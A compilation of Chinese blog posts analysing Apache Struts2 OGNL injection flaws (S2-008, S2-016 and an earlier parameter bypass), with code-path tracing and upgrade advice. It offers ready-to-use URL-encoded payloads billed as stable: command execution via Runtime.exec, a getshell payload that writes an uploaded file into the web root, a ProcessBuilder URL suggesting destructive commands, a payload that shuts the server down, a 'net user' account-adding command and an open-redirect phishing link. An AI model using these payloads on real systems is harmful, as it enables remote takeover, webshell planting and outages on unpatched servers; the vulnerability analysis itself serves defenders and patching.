struts2最近几个漏洞分析&稳定利用payload

http://drops.wooyun.org/papers/902

0x00 背景

看到网上关于struts2利用的文章非常多，但是对于漏洞触发跟踪分析的文档比较少，闲来无事跟踪了一

下struts最近吵得比较火的两个漏洞，研究了一下能够稳定利用的payload。

0x01 S2-008

Struts2框架存在一个devmode模式，方便开发人员调试程序，但是默认devmode是不开启的，如果想要使

用，需要手动修改参数，可以将struts.properties中的devmode设置为true，或是在struts.xml中添加

如下代码，

<constant name="struts.devMode" value="true" />
实际上devmode依赖于struts2底层的struts2-core.jar中的DebuggingInterceptor.java实现，然后漏洞

也存在于此程序中。这里我以debug=command这个逻辑下，测试漏洞，我的POC如下所示：

http://localhost:8080/S2-016/hello.action?debug=command&expression= %23context%5b

%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d

%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c

%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a

%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b

%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b

%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get

%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c

%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
首先，这里是devmode的几种模式，

enter image description here

继续跟踪DebuggingInterceptor.java的代码，发现问题出在下面这个逻辑当中

enter image description here

跟踪参数如图

enter image description here

可以看到这里

String cmd = getParameter(EXPRESSION_PARAM);
…
writer.print(stack.findValue(cmd));
这里cmd没做任何处理，后面直接findValue（findValue能够执行OGNL表达式，具体参考官方文档），导

致OGNL表达式执行。

关于这个漏洞执行，其实没什么好说的，关键是这个payload调用java反射类(可以访问一些私有成员变

量)绕过了struts2限制执行java静态方法的规则法的规则，使之前apache官方的修复又白费了。因为

struts2在2.3.14.1版本之后便设置#_memberAccess[“allowStaticMethodAccess”]为不可修改，而要

调用java静态方法，必须要设置allowStaticMethodAccess为true才可以。这里使用

#f = #_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')
#f.setAccessible(true)
#f.set(#_memberAccess, true)
这里使用java的反射机制绕过了限制。另外，还有利用java.lang.ProcessBuilder类的start()方法来实

现（ProcessBuilder类是用来创建系统进程的，每个实例管理一个进程属性集合，start方法用来创建一

个新的进程实例，并且可以从相同的实例中反复多次的初始化、创建子进程。随便构造一个

java.lang.ProcessBuilder的实例，然后调用它的start()方法，便达到命令执行的目的），但这个算是

另一种思路，并没有从根本上修改#_memberAccess[“allowStaticMethodAccess”]的值。

0x02 S2-016

在struts2中，DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或

是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利

用OGNL表达式调用java静态方法执行任意系统命令。

这里以“redirect:”前缀举例，struts2会将“redirect:”前缀后面的内容设置到redirect.location

当中，这里我们一步步跟踪，首先是这个getMapping函数跟入

enter image description here

这里一直到这个handleSpecialParameters()，继续跟入

enter image description here

这里真正传入OGNL表达式是在这个parameterAction.execute()中，继续跟入来到

DefaultActionMapper.java的代码

enter image description here

这里key.substring(REDIRECT_PREFIX.length())便是前缀后面的内容也就是OGNL表达式，struts2会调

用setLocation方法将他设置到redirect.location中。然后这里调用mapping.setResult(redirect)将

redirect对象设置到mapping对象中的result里，如图所示

enter image description here

然而上面的过程只是传递OGNL表达式，真正执行是在后面，这里是在FilterDispatcher类中的

dispatcher.serviceAction()方法，这里的mapping对象中设置了传入的OGNL

enter image description here

这里跟入方法最终会在TextParseUtil这个类的调用stack.findValue()方法执行OGNL。

enter image description here

0x03 PAYLOAD

这里我结合之前几个漏洞凑出一个通用payload，目前测试还是很稳定的

命令执行

%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d

%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c

%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a

%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b

%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b

%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get

%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c

%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
Getshell

%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d

%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c

%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d

%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%29%2c%23b

%3dnew+java.io.FileOutputStream%28new%20java.lang.StringBuilder%28%23a.getRealPath%28%22/

%22%29%29.append%28@java.io.File@separator%29.append%28%23a.getParameter%28%22name

%22%29%29.toString%28%29%29%2c%23b.write%28%23a.getParameter%28%22t%22%29.getBytes

%28%29%29%2c%23b.close%28%29%2c%23genxor%3d%23context.get

%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c

%23genxor.println%28%22BINGO%22%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
同时在之前的struts2exp这个程序基础上修改出一个exp，整合了近几年出现的几个高危漏洞,

enter image description here

程序先不公开放出，大家可以自己用语句测试自己的服务器是否有该问题。
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struts2安全漏洞

struts2漏洞一般指struts2安全漏洞

Struts2是apache项目下的一个web 框架，普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站。
目录
1 背景
2 内容
3 造成的影响：
4 应对措施：
背景
Struts2是apache项目下的一个web 框架，普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站。
内容
在2013年6月底发布的Struts 2.3.15版本被曝出存在重要的安全漏洞[1] ，主要问题如下：
可远程执行服务器脚本代码[2]
用户可以构造http://host/struts2-blank/example/X.action?action:%25{(new

+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}链接，

command goes here可以换成是破坏脚本的路径和参数，比如fdisk -f等，造成破环系统无法运行的目的

。
重定向漏洞
用户可以构造如知名网站淘宝的重定向连接，形如<a href="http://www.淘宝.com/item00001.html?

redirect:http://黑客/getyourPassword">打折新款</a>,引导用户点击后进入钓鱼网站，在界面上让其

进行登陆用以获取用户的密码。
造成的影响：
苹果、中国移动、中国联通、百度、腾讯、淘宝、京东、Sohu、民生银行等大型企业的网站均遭毒手，

运维　工程师苦不堪言。
应对措施：
Apache团队紧急发布了Struts 2.3.15.1安全更新版本,可升级到此版本来解决上述问题。
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struts2漏洞攻击方法与解决方案

http://blog.csdn.net/jakey766/article/details/7973965

近来多数网站被利用struts2漏洞攻击：

http://www.cww.net.cn/tech/html/2012/7/12/201271291781936.htm

1、原理
Struts2的核心是使用的webwork框架，处理 action时通过调用底层的getter/setter方法来处理http的

参数，它将每个http参数声明为一个ONGL（这里是ONGL的介绍）语句。当我们提交一个http参数：

?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为：
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

这是通过ParametersInterceptor（参数过滤器）来执行的，使用用户提供的HTTP参数调用

ValueStack.setValue()。
为了防范篡改服务器端对象，XWork的ParametersInterceptor不允许参数名中出现“#”字符，但如果使

用了Java的 unicode字符串表示\u0023，攻击者就可以绕过保护，修改保护Java方式执行的值：

此处代码有破坏性，请在测试环境执行，严禁用此种方法进行恶意攻击
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context

[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew

%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt

\u003d@java.lang.Runtime@getRuntime()))=1

转义后是这样：
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context

['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean

("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是
java.lang.Runtime.getRuntime().exit(1); //关闭程序，即将web程序关闭

类似的可以执行
java.lang.Runtime.getRuntime().exec("net user 用户名密码 /add");//增加操作系统用户，在有权

限的情况下能成功（在URL中用%20替换空格，%2F替换/）
只要有权限就可以执行任何DOS命令。

2、解决方法
网上很多文章都介绍了三种解决方法，个人觉得将struts2的jar包更新到最新版本最简单，不用更改任

何程序代码，目前最新版本2.3.4
下载到的更新包中有很多jar包，我系统中主要用到以下几个替换掉旧版本的：
commons-lang3-3.1.jar (保留commons-lang-2.6.jar)
javassist-3.11.0.GA.jar (新加包)
ognl-3.0.5.jar (替换旧版本)
struts2-core-2.3.4.1.jar (替换旧版本)
xwork-core-2.3.4.1.jar (替换旧版本)

本文大部分内容复制于其他文章：
http://my-corner.iteye.com/blog/720209
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